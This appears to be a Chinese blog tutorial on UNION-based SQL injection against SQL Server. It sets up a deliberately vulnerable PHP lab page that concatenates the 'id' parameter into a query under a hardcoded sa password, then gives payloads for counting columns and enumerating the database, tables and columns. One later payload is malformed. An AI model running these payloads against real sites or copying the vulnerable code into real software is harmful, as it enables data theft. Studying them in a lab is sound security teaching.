SQL注入篇——SqlServer的联合查询注入
2023-09-11 14:17:07 时间
sqlserver 常用系统函数:
- suser_name() 用户登录名
- user_name() 用户在数据库中的名字
- user 用户在数据库中的名字
- show_role() 对当前用户起作用的规则
- db_name() 数据库名
- object_name(obj_id) 数据库对象名
- col_name(obj_id,col_id) 列名
- col_length(objname,colname) 列长度
- valid_name(char_expr) 是否是有效标识符
实验环境:
- SqlServer
- PHPstudy
在www目录下添加一个php文件,源码如下:
<?php
header("Content-Type:text/html;charset=gbk");
$conn = sqlsrv_connect('localhost', array('Database' => 'text', 'UID' => 'sa' , 'PWD' => '123.com'));
if($conn == false){
var_dump(sqlsrv_errors());exit;
}
$id = $_GET["id"];
$sql = "SELECT * FROM users where id = $id";
echo $sql;
echo "<hr>";
$result = sqlsrv_query($conn, $sql);
var_dump(sqlsrv_errors());
echo "<hr>";
if ( $re = sqlsrv_fetch_array($result)) {
echo $re['id'];
echo "<hr>";
echo $re['username'];
echo "<hr>";
echo $re['password'];
echo "<hr>";
}
echo "finish";
?>
一、判断显示位
id=1 order by 3
当输入4时报错,说明显示位有三个
二、获取当前的数据库
使用函数db_name()
id=-1 union select null,db_name(),null
三、获取当前数据库的表
将获取到的数据库名与.sys.sysobjects
拼接
id=-1 union select top 1 null,name ,null FROM text.sys.sysobjects where xtype = 'U'
top 1
代表只显示第一列数据
如果想显示更多数据在后面加and name != '第一次输出中的表名'
以此类推,如:
id=-1 union select top 1 null,name ,null FROM text.sys.sysobjects where xtype = 'U' and name != 'users' and name != '第二次输出中的表名'
xtype = 'U'
代表指定显示用户创建的表
四、获取当前数据库的表下的字段
id=1 Select name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('第一次输出中的表名' and name != '第二次输出中的表名')
or
id=1 Select name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('数据库.dbo.表名')
效果如下:
相关文章
- 调整SQLServer最大服务器内存参数后实例停止且无法启动
- 为什么说JAVA中要慎重使用继承 C# 语言历史版本特性(C# 1.0到C# 8.0汇总) SQL Server事务 事务日志 SQL Server 锁详解 软件架构之 23种设计模式 Oracle与Sqlserver:Order by NULL值介绍 asp.net MVC漏油配置总结
- Sqlserver数据库分页查询
- sqlserver Timeout 时间已到。在操作完成之前超时时间已过或服务器未响应
- sqlserver数据库大型应用解决方案总结
- 如何在SqlServer中获取前端连接的IP地址,计算机名等信息
- 技术分享会(二):SQLSERVER索引介绍
- sqlserver常用调优脚本(转)
- 加一个 时间戳 TimeStamp 可以解决 重复提交问题 SqlServer
- SQLServer 查询消息输出不全 print输出结果不全
- SqlServer 查询死锁,杀死死锁进程